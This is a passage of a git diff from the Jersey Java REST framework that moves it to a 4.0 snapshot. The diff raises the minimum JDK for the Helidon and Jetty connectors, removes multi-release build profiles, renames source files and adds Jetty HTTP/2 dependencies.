--- a/connectors/helidon-connector/src/main/java8/org/glassfish/jersey/helidon/connector/HelidonClientProperties.java
+++ b/connectors/helidon-connector/src/main/java21/org/glassfish/jersey/helidon/connector/HelidonClientProperties.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2020, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2020, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -15,17 +15,18 @@
  */
 package org.glassfish.jersey.helidon.connector;
 
+import io.helidon.jersey.connector.HelidonProperties;
 import org.glassfish.jersey.internal.util.PropertiesClass;
 
 /**
- * Configuration options specific to the Client API that utilizes {@code HelidonConnectorProvider}
+ * Configuration options specific to the Client API that utilizes {@code HelidonConnectorProvider}.
  * @since 2.31
  */
 @PropertiesClass
 public final class HelidonClientProperties {
 
     /**
-     * A Helidon {@code Config} instance that is passed to {@code WebClient.Builder#config(Config)} if available.
+     * A Helidon {@link Config} instance that is passed to {@link WebClient.Builder#config(Config)} if available
      */
-    public static final String CONFIG = "jersey.connector.helidon.config";
+    public static final String CONFIG = HelidonProperties.CONFIG;
 }
diff --git a/connectors/helidon-connector/src/main/java21/org/glassfish/jersey/helidon/connector/HelidonConnectorProvider.java b/connectors/helidon-connector/src/main/java21/org/glassfish/jersey/helidon/connector/HelidonConnectorProvider.java
new file mode 100644
index 0000000..a7fca97
--- /dev/null
+++ b/connectors/helidon-connector/src/main/java21/org/glassfish/jersey/helidon/connector/HelidonConnectorProvider.java
@@ -0,0 +1,76 @@
+/*
+ * Copyright (c) 2020, 2024 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.helidon.connector;
+
+import org.glassfish.jersey.Beta;
+import org.glassfish.jersey.client.spi.Connector;
+import org.glassfish.jersey.internal.util.JdkVersion;
+
+import jakarta.ws.rs.ProcessingException;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.core.Configuration;
+import java.io.OutputStream;
+
+/**
+ * Provider for Helidon WebClient {@link Connector} that utilizes the Helidon HTTP Client to send and receive
+ * HTTP request and responses. JDK 8 is not supported by the Helidon Connector.
+ * <p>
+ * The following properties are only supported at construction of this class:
+ * <ul>
+ * <li>{@link org.glassfish.jersey.client.ClientProperties#CONNECT_TIMEOUT}</li>
+ * <li>{@link org.glassfish.jersey.client.ClientProperties#FOLLOW_REDIRECTS}</li>
+ * <li>{@link org.glassfish.jersey.client.ClientProperties#PROXY_URI}</li>
+ * <li>{@link org.glassfish.jersey.client.ClientProperties#PROXY_USERNAME}</li>
+ * <li>{@link org.glassfish.jersey.client.ClientProperties#PROXY_PASSWORD}</li>
+ * <li>{@link org.glassfish.jersey.client.ClientProperties#READ_TIMEOUT}</li>
+ * <li>{@link HelidonClientProperties#CONFIG}</li>
+ * </ul>
+ * <p>
+ * If a {@link org.glassfish.jersey.client.ClientResponse} is obtained and an
+ * entity is not read from the response then
+ * {@link org.glassfish.jersey.client.ClientResponse#close()} MUST be called
+ * after processing the response to release connection-based resources.
+ * </p>
+ * <p>
+ * Client operations are thread safe, the HTTP connection may
+ * be shared between different threads.
+ * </p>
+ * <p>
+ * If a response entity is obtained that is an instance of {@link java.io.Closeable}
+ * then the instance MUST be closed after processing the entity to release
+ * connection-based resources.
+ * </p>
+ * <p>
+ * This connector uses {@link org.glassfish.jersey.client.ClientProperties#OUTBOUND_CONTENT_LENGTH_BUFFER} to buffer the entity
+ * written for instance by {@link jakarta.ws.rs.core.StreamingOutput}. Should the buffer be small and
+ * {@link jakarta.ws.rs.core.StreamingOutput#write(OutputStream)} be called many times, the performance can drop. The Content-Length
+ * or the Content_Encoding header is set by the underlaying Helidon WebClient regardless of the
+ * {@link org.glassfish.jersey.client.ClientProperties#OUTBOUND_CONTENT_LENGTH_BUFFER} size, however.
+ * </p>
+ *
+ * @since 2.31
+ */
+@Beta
+public class HelidonConnectorProvider extends io.helidon.jersey.connector.HelidonConnectorProvider {
+    @Override
+    public Connector getConnector(Client client, Configuration runtimeConfig) {
+        if (JdkVersion.getJdkVersion().getMajor() < 21) {
+            throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
+        }
+        return super.getConnector(client, runtimeConfig);
+    }
+}
diff --git a/connectors/helidon-connector/src/main/java8/org/glassfish/jersey/helidon/connector/HelidonConnectorProvider.java b/connectors/helidon-connector/src/main/java8/org/glassfish/jersey/helidon/connector/HelidonConnectorProvider.java
deleted file mode 100644
index 932155a..0000000
--- a/connectors/helidon-connector/src/main/java8/org/glassfish/jersey/helidon/connector/HelidonConnectorProvider.java
+++ /dev/null
@@ -1,42 +0,0 @@
-/*
- * Copyright (c) 2022 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.helidon.connector;
-
-import org.glassfish.jersey.client.spi.Connector;
-import org.glassfish.jersey.client.spi.ConnectorProvider;
-import org.glassfish.jersey.internal.util.JdkVersion;
-
-import jakarta.ws.rs.ProcessingException;
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.core.Configuration;
-import java.io.OutputStream;
-
-/**
- * Helidon Connector stub which only throws exception when running on JDK prior to 17.
- * New Helidon 3 does not support JDKs prior to 17.
- *
- * @since 3.0.5
- */
-public class HelidonConnectorProvider implements ConnectorProvider {
-    @Override
-    public Connector getConnector(Client client, Configuration runtimeConfig) {
-        if (JdkVersion.getJdkVersion().getMajor() < 17) {
-            throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
-        }
-        return null;
-    }
-}
diff --git a/connectors/helidon-connector/src/main/resources/org/glassfish/jersey/helidon/connector/localization.properties b/connectors/helidon-connector/src/main/resources/org/glassfish/jersey/helidon/connector/localization.properties
index fb56d5c..4cb36b6 100644
--- a/connectors/helidon-connector/src/main/resources/org/glassfish/jersey/helidon/connector/localization.properties
+++ b/connectors/helidon-connector/src/main/resources/org/glassfish/jersey/helidon/connector/localization.properties
@@ -1,5 +1,5 @@
 #
-# Copyright (c) 2020, 2022 Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2020, 2024 Oracle and/or its affiliates. All rights reserved.
 #
 # This program and the accompanying materials are made available under the
 # terms of the Eclipse Public License v. 2.0, which is available at
@@ -14,4 +14,4 @@
 # SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
 #
 
-not.supported=Helidon connector is not supported on JDK version less than 17.
\ No newline at end of file
+not.supported=Helidon connector is not supported on JDK version less than 21.
\ No newline at end of file
diff --git a/connectors/helidon-connector/src/test/java/org/glassfish/jersey/helidon/connector/sse/SseTest.java b/connectors/helidon-connector/src/test/java/org/glassfish/jersey/helidon/connector/sse/SseTest.java
index ca1a5c6..1cdacc5 100644
--- a/connectors/helidon-connector/src/test/java/org/glassfish/jersey/helidon/connector/sse/SseTest.java
+++ b/connectors/helidon-connector/src/test/java/org/glassfish/jersey/helidon/connector/sse/SseTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2020, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2020, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -53,7 +53,7 @@
     public static class SimpleSseResource {
         @GET
         @Produces(MediaType.SERVER_SENT_EVENTS)
-        public void send(@Context SseEventSink sink, @Context Sse sse) {
+        public void send(@Context SseEventSink sink, @Context Sse sse) throws Exception {
             try (SseEventSink s = sink) {
                 for (int i = 0; i != 10; i++) {
                     s.send(sse.newEvent("A"));
diff --git a/connectors/jdk-connector/pom.xml b/connectors/jdk-connector/pom.xml
index dca733b..cdb1682 100644
--- a/connectors/jdk-connector/pom.xml
+++ b/connectors/jdk-connector/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.connectors</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-jdk-connector</artifactId>
@@ -81,52 +81,17 @@
                 <artifactId>maven-bundle-plugin</artifactId>
                 <inherited>true</inherited>
             </plugin>
+            <plugin>
+                <groupId>org.apache.maven.plugins</groupId>
+                <artifactId>maven-surefire-plugin</artifactId>
+                <configuration>
+                    <reuseForks>false</reuseForks>
+                    <excludes>
+                        <exclude>**/SslFilterTLS1Test.java</exclude>
+                        <exclude>**/SslFilterTLS11Test.java</exclude>
+                    </excludes>
+                </configuration>
+            </plugin>
         </plugins>
     </build>
-
-    <profiles>
-        <profile> <!-- we still require JDK 1.8 TLS 1.3 limitations -->
-            <id>jdk8</id>
-            <activation>
-                <jdk>(,9)</jdk>
-            </activation>
-            <build>
-                <plugins>
-                    <plugin>
-                        <groupId>org.apache.maven.plugins</groupId>
-                        <artifactId>maven-surefire-plugin</artifactId>
-                        <configuration>
-                            <reuseForks>false</reuseForks>
-                            <excludes>
-                                <exclude>**/SslFilterTLS13Test.java</exclude>
-                                <exclude>**/SslFilterTLS13UrlStoresTest.java</exclude>
-                            </excludes>
-                        </configuration>
-                    </plugin>
-                </plugins>
-            </build>
-        </profile>
-        <profile>
-            <id>disable_tls1and11</id>
-            <!-- TLS 1 and TLS 1.1 are disabled for JDK 16 -->
-            <activation>
-                <jdk>[16,)</jdk>
-            </activation>
-            <build>
-                <plugins>
-                    <plugin>
-                        <groupId>org.apache.maven.plugins</groupId>
-                        <artifactId>maven-surefire-plugin</artifactId>
-                        <configuration>
-                            <reuseForks>false</reuseForks>
-                            <excludes>
-                                <exclude>**/SslFilterTLS1Test.java</exclude>
-                                <exclude>**/SslFilterTLS11Test.java</exclude>
-                            </excludes>
-                        </configuration>
-                    </plugin>
-                </plugins>
-            </build>
-        </profile>
-    </profiles>
 </project>
diff --git a/connectors/jetty-connector/pom.xml b/connectors/jetty-connector/pom.xml
index 15e2354..f6209e9 100644
--- a/connectors/jetty-connector/pom.xml
+++ b/connectors/jetty-connector/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.connectors</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-jetty-connector</artifactId>
@@ -34,10 +34,6 @@
 
     <properties>
         <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
-        <java11.build.outputDirectory>${project.basedir}/target</java11.build.outputDirectory>
-        <java11.sourceDirectory>${project.basedir}/src/main/java11</java11.sourceDirectory>
-        <java17.build.outputDirectory>${project.basedir}/target17</java17.build.outputDirectory>
-        <java17.sourceDirectory>${project.basedir}/src/main/java17</java17.sourceDirectory>
     </properties>
 
     <dependencies>
@@ -119,144 +115,4 @@
             </plugin>
         </plugins>
     </build>
-
-    <profiles>
-        <profile>
-            <id>JettyExclude</id>
-            <activation>
-                <jdk>[11,17)</jdk>
-            </activation>
-            <properties>
-                <jetty.version>${jetty11.version}</jetty.version>
-            </properties>
-            <build>
-                <directory>${java11.build.outputDirectory}</directory>
-                <plugins>
-                    <plugin>
-                        <groupId>org.codehaus.mojo</groupId>
-                        <artifactId>build-helper-maven-plugin</artifactId>
-                        <executions>
-                            <execution>
-                                <phase>generate-sources</phase>
-                                <goals>
-                                    <goal>add-source</goal>
-                                </goals>
-                                <configuration>
-                                    <sources>
-                                        <source>${java11.sourceDirectory}</source>
-                                    </sources>
-                                </configuration>
-                            </execution>
-                        </executions>
-                    </plugin>
-                    <plugin>
-                        <groupId>org.apache.maven.plugins</groupId>
-                        <artifactId>maven-compiler-plugin</artifactId>
-                        <configuration>
-                            <testExcludes>
-                                <testExclude>org/glassfish/jersey/jetty/connector/*.java</testExclude>
-                            </testExcludes>
-                        </configuration>
-                    </plugin>
-                </plugins>
-            </build>
-        </profile>
-        <profile>
-            <id>JettyInclude</id>
-            <activation>
-                <jdk>[17,)</jdk>
-            </activation>
-            <build>
-                <directory>${java17.build.outputDirectory}</directory>
-                <plugins>
-                    <plugin>
-                        <groupId>org.codehaus.mojo</groupId>
-                        <artifactId>build-helper-maven-plugin</artifactId>
-                        <executions>
-                            <execution>
-                                <phase>generate-sources</phase>
-                                <goals>
-                                    <goal>add-source</goal>
-                                </goals>
-                                <configuration>
-                                    <sources>
-                                        <source>${java17.sourceDirectory}</source>
-                                    </sources>
-                                </configuration>
-                            </execution>
-                        </executions>
-                    </plugin>
-                </plugins>
-            </build>
-        </profile>
-        <profile>
-            <id>copyJDK17FilesToMultiReleaseJar</id>
-            <activation>
-                <file>
-                    <!-- ${java17.build.outputDirectory} does not work here -->
-                    <exists>target17/classes/org/glassfish/jersey/jetty/connector/JettyConnector.class</exists>
-                </file>
-                <jdk>[11,17)</jdk>
-            </activation>
-            <build>
-                <plugins>
-                    <plugin>
-                        <groupId>org.apache.felix</groupId>
-                        <artifactId>maven-bundle-plugin</artifactId>
-                        <inherited>true</inherited>
-                        <extensions>true</extensions>
-                        <configuration>
-                            <instructions>
-                                <Multi-Release>true</Multi-Release>
-                            </instructions>
-                        </configuration>
-                    </plugin>
-                    <plugin>
-                        <groupId>org.apache.maven.plugins</groupId>
-                        <artifactId>maven-resources-plugin</artifactId>
-                        <inherited>true</inherited>
-                        <executions>
-                            <execution>
-                                <id>copy-jdk17-classes</id>
-                                <phase>prepare-package</phase>
-                                <goals>
-                                    <goal>copy-resources</goal>
-                                </goals>
-                                <configuration>
-                                    <outputDirectory>${java11.build.outputDirectory}/classes/META-INF/versions/17</outputDirectory>
-                                    <resources>
-                                        <resource>
-                                            <directory>${java17.build.outputDirectory}/classes</directory>
-                                        </resource>
-                                    </resources>
-                                </configuration>
-                            </execution>
-                        </executions>
-                    </plugin>
-                    <plugin>
-                        <groupId>org.apache.maven.plugins</groupId>
-                        <artifactId>maven-antrun-plugin</artifactId>
-                        <executions>
-                            <execution>
-                                <id>copy-jdk17-sources</id>
-                                <phase>package</phase>
-                                <configuration>
-                                    <target>
-                                        <property name="sources-jar" value="${java11.build.outputDirectory}/${project.artifactId}-${project.version}-sources.jar"/>
-                                        <echo>sources-jar: ${sources-jar}</echo>
-                                        <zip destfile="${sources-jar}" update="true">
-                                            <zipfileset dir="${java17.sourceDirectory}" prefix="META-INF/versions/17"/>
-                                        </zip>
-                                    </target>
-                                </configuration>
-                                <goals>
-                                    <goal>run</goal>
-                                </goals>
-                            </execution>
-                        </executions>
-                    </plugin>
-                </plugins>
-            </build>
-        </profile>
-    </profiles>
-</project>
+</project>
\ No newline at end of file
diff --git a/connectors/jetty-connector/src/main/java17/org/glassfish/jersey/jetty/connector/JettyConnector.java b/connectors/jetty-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyConnector.java
similarity index 99%
rename from connectors/jetty-connector/src/main/java17/org/glassfish/jersey/jetty/connector/JettyConnector.java
rename to connectors/jetty-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyConnector.java
index aa8f0e6..47d5ced 100644
--- a/connectors/jetty-connector/src/main/java17/org/glassfish/jersey/jetty/connector/JettyConnector.java
+++ b/connectors/jetty-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyConnector.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
diff --git a/connectors/jetty-connector/src/main/java17/org/glassfish/jersey/jetty/connector/JettyConnectorProvider.java b/connectors/jetty-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyConnectorProvider.java
similarity index 98%
rename from connectors/jetty-connector/src/main/java17/org/glassfish/jersey/jetty/connector/JettyConnectorProvider.java
rename to connectors/jetty-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyConnectorProvider.java
index 43a08ce..5a3315d 100644
--- a/connectors/jetty-connector/src/main/java17/org/glassfish/jersey/jetty/connector/JettyConnectorProvider.java
+++ b/connectors/jetty-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyConnectorProvider.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
diff --git a/connectors/jetty-connector/src/main/java11/org/glassfish/jersey/jetty/connector/JettyHttpClientContract.java b/connectors/jetty-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyHttpClientContract.java
similarity index 94%
rename from connectors/jetty-connector/src/main/java11/org/glassfish/jersey/jetty/connector/JettyHttpClientContract.java
rename to connectors/jetty-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyHttpClientContract.java
index 6453521..9b20a64 100644
--- a/connectors/jetty-connector/src/main/java11/org/glassfish/jersey/jetty/connector/JettyHttpClientContract.java
+++ b/connectors/jetty-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyHttpClientContract.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2021, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
diff --git a/connectors/jetty-connector/src/main/java11/org/glassfish/jersey/jetty/connector/JettyHttpClientSupplier.java b/connectors/jetty-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyHttpClientSupplier.java
similarity index 96%
rename from connectors/jetty-connector/src/main/java11/org/glassfish/jersey/jetty/connector/JettyHttpClientSupplier.java
rename to connectors/jetty-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyHttpClientSupplier.java
index 2b9e8b2..9cccf45 100644
--- a/connectors/jetty-connector/src/main/java11/org/glassfish/jersey/jetty/connector/JettyHttpClientSupplier.java
+++ b/connectors/jetty-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyHttpClientSupplier.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2019, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2019, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
diff --git a/connectors/jetty-connector/src/main/java11/org/glassfish/jersey/jetty/connector/JettyConnectorProvider.java b/connectors/jetty-connector/src/main/java11/org/glassfish/jersey/jetty/connector/JettyConnectorProvider.java
deleted file mode 100644
index 50ec6bd..0000000
--- a/connectors/jetty-connector/src/main/java11/org/glassfish/jersey/jetty/connector/JettyConnectorProvider.java
+++ /dev/null
@@ -1,85 +0,0 @@
-/*
- * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.connector;
-
-import jakarta.ws.rs.ProcessingException;
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.core.Configuration;
-import org.glassfish.jersey.client.spi.Connector;
-import org.glassfish.jersey.client.spi.ConnectorProvider;
-
-/**
- * A {@link ConnectorProvider} for Jersey {@link Connector connector}
- * instances that utilize the Jetty HTTP Client to send and receive
- * HTTP request and responses.
- * <p>
- * The following connector configuration properties are supported:
- * <ul>
- * <li>{@link org.glassfish.jersey.client.ClientProperties#ASYNC_THREADPOOL_SIZE}</li>
- * <li>{@link org.glassfish.jersey.client.ClientProperties#CONNECT_TIMEOUT}</li>
- * <li>{@link org.glassfish.jersey.client.ClientProperties#FOLLOW_REDIRECTS}</li>
- * <li>{@link org.glassfish.jersey.client.ClientProperties#PROXY_URI}</li>
- * <li>{@link org.glassfish.jersey.client.ClientProperties#PROXY_USERNAME}</li>
- * <li>{@link org.glassfish.jersey.client.ClientProperties#PROXY_PASSWORD}</li>
- * <li>{@link org.glassfish.jersey.client.ClientProperties#PROXY_PASSWORD}</li>
- * <li>{@link JettyClientProperties#DISABLE_COOKIES}</li>*
- * <li>{@link JettyClientProperties#ENABLE_SSL_HOSTNAME_VERIFICATION}</li>
- * <li>{@link JettyClientProperties#PREEMPTIVE_BASIC_AUTHENTICATION}</li>
- * <li>{@link JettyClientProperties#SYNC_LISTENER_RESPONSE_MAX_SIZE}</li>
- * </ul>
- * </p>
- * <p>
- * This transport supports both synchronous and asynchronous processing of client requests.
- * The following methods are supported: GET, POST, PUT, DELETE, HEAD, OPTIONS, TRACE, CONNECT and MOVE.
- * </p>
- * <p>
- * Typical usage:
- * </p>
- * <pre>
- * {@code
- * ClientConfig config = new ClientConfig();
- * config.connectorProvider(new JettyConnectorProvider());
- * Client client = ClientBuilder.newClient(config);
- *
- * // async request
- * WebTarget target = client.target("http://localhost:8080");
- * Future<Response> future = target.path("resource").request().async().get();
- *
- * // wait for 3 seconds
- * Response response = future.get(3, TimeUnit.SECONDS);
- * String entity = response.readEntity(String.class);
- * client.close();
- * }
- * </pre>
- * <p>
- * Connector instances created via Jetty HTTP Client-based connector provider support only
- * {@link org.glassfish.jersey.client.RequestEntityProcessing#BUFFERED entity buffering}.
- * Defining the property {@link org.glassfish.jersey.client.ClientProperties#REQUEST_ENTITY_PROCESSING} has no
- * effect on Jetty HTTP Client-based connectors.
- * </p>
- *
- * @author Arul Dhesiaseelan (aruld at acm.org)
- * @author Marek Potociar
- * @since 2.5
- */
-public class JettyConnectorProvider implements ConnectorProvider {
-
-    @Override
-    public Connector getConnector(Client client, Configuration runtimeConfig) {
-        throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
-    }
-}
diff --git a/connectors/jetty-connector/src/main/java17/org/glassfish/jersey/jetty/connector/JettyHttpClientContract.java b/connectors/jetty-connector/src/main/java17/org/glassfish/jersey/jetty/connector/JettyHttpClientContract.java
deleted file mode 100644
index 6453521..0000000
--- a/connectors/jetty-connector/src/main/java17/org/glassfish/jersey/jetty/connector/JettyHttpClientContract.java
+++ /dev/null
@@ -1,33 +0,0 @@
-/*
- * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.connector;
-
-import org.eclipse.jetty.client.HttpClient;
-import org.glassfish.jersey.spi.Contract;
-
-/**
- * A contract that allows for an optional registration of user predefined Jetty {@code HttpClient}
- * that is consequently used by {@link JettyConnector}
- */
-@Contract
-public interface JettyHttpClientContract {
-    /**
-     * Supply a user predefined HttpClient
-     * @return a user predefined HttpClient
-     */
-    HttpClient getHttpClient();
-}
diff --git a/connectors/jetty-connector/src/main/java17/org/glassfish/jersey/jetty/connector/JettyHttpClientSupplier.java b/connectors/jetty-connector/src/main/java17/org/glassfish/jersey/jetty/connector/JettyHttpClientSupplier.java
deleted file mode 100644
index 2b9e8b2..0000000
--- a/connectors/jetty-connector/src/main/java17/org/glassfish/jersey/jetty/connector/JettyHttpClientSupplier.java
+++ /dev/null
@@ -1,56 +0,0 @@
-/*
- * Copyright (c) 2019, 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-package org.glassfish.jersey.jetty.connector;
-
-import org.eclipse.jetty.client.HttpClient;
-
-/**
- * Jetty HttpClient supplier to be registered into Jersey configuration to be used by {@link JettyConnector}.
- * Not every possible configuration option is covered by the Jetty Connector and this supplier offers a way to provide
- * an HttpClient that has configured the options not covered by the Jetty Connector.
- * <p>
- *     Typical usage:
- * </p>
- * <pre>
- * {@code
- * HttpClient httpClient = ...
- *
- * ClientConfig config = new ClientConfig();
- * config.connectorProvider(new JettyConnectorProvider());
- * config.register(new JettyHttpClientSupplier(httpClient));
- * Client client = ClientBuilder.newClient(config);
- * }
- * </pre>
- * <p>
- *     The {@code HttpClient} is configured as if it was created by {@link JettyConnector} the usual way.
- * </p>
- */
-public class JettyHttpClientSupplier implements JettyHttpClientContract {
-    private final HttpClient httpClient;
-
-    /**
-     * {@code HttpClient} supplier to be optionally registered to a {@link org.glassfish.jersey.client.ClientConfig}
-     * @param httpClient a HttpClient to be supplied when {@link JettyConnector#getHttpClient()} is called.
-     */
-    public JettyHttpClientSupplier(HttpClient httpClient) {
-        this.httpClient = httpClient;
-    }
-
-    @Override
-    public HttpClient getHttpClient() {
-        return httpClient;
-    }
-}
diff --git a/connectors/jetty-connector/src/main/resources/org/glassfish/jersey/jetty/connector/localization.properties b/connectors/jetty-connector/src/main/resources/org/glassfish/jersey/jetty/connector/localization.properties
index 6561153..9e27153 100644
--- a/connectors/jetty-connector/src/main/resources/org/glassfish/jersey/jetty/connector/localization.properties
+++ b/connectors/jetty-connector/src/main/resources/org/glassfish/jersey/jetty/connector/localization.properties
@@ -1,5 +1,5 @@
 #
-# Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
 #
 # This program and the accompanying materials are made available under the
 # terms of the Eclipse Public License v. 2.0, which is available at
@@ -17,5 +17,4 @@
 # {0} - HTTP method, e.g. GET, DELETE
 method.not.supported=Method {0} not supported.
 invalid.configurable.component.type=The supplied component "{0}" is not assignable from JerseyClient or JerseyWebTarget.
-expected.connector.provider.not.used=The supplied component is not configured to use a JettyConnectorProvider.
-not.supported=Jetty connector is not supported on JDK version less than 17.
+expected.connector.provider.not.used=The supplied component is not configured to use a JettyConnectorProvider.
\ No newline at end of file
diff --git a/connectors/jetty-http2-connector/pom.xml b/connectors/jetty-http2-connector/pom.xml
index db93d6b..ef50733 100644
--- a/connectors/jetty-http2-connector/pom.xml
+++ b/connectors/jetty-http2-connector/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.connectors</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-jetty-http2-connector</artifactId>
@@ -34,10 +34,6 @@
 
     <properties>
         <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
-        <java11.build.outputDirectory>${project.basedir}/target</java11.build.outputDirectory>
-        <java11.sourceDirectory>${project.basedir}/src/main/java11</java11.sourceDirectory>
-        <java17.build.outputDirectory>${project.basedir}/target17</java17.build.outputDirectory>
-        <java17.sourceDirectory>${project.basedir}/src/main/java17</java17.sourceDirectory>
     </properties>
 
     <dependencies>
@@ -61,7 +57,38 @@
             <artifactId>jersey-jetty-connector</artifactId>
             <version>${project.version}</version>
         </dependency>
-
+        <dependency>
+            <groupId>org.eclipse.jetty.http2</groupId>
+            <artifactId>jetty-http2-client</artifactId>
+            <exclusions>
+                <exclusion>
+                    <groupId>org.slf4j</groupId>
+                    <artifactId>slf4j-api</artifactId>
+                </exclusion>
+            </exclusions>
+        </dependency>
+        <dependency>
+            <groupId>org.eclipse.jetty.http2</groupId>
+            <artifactId>jetty-http2-client-transport</artifactId>
+            <exclusions>
+                <exclusion>
+                    <groupId>org.slf4j</groupId>
+                    <artifactId>slf4j-api</artifactId>
+                </exclusion>
+            </exclusions>
+        </dependency>
+        <dependency>
+            <groupId>org.glassfish.jersey.containers</groupId>
+            <artifactId>jersey-container-jetty-http2</artifactId>
+            <version>${project.version}</version>
+            <scope>test</scope>
+        </dependency>
+        <dependency>
+            <groupId>org.glassfish.jersey.test-framework.providers</groupId>
+            <artifactId>jersey-test-framework-provider-jetty-http2</artifactId>
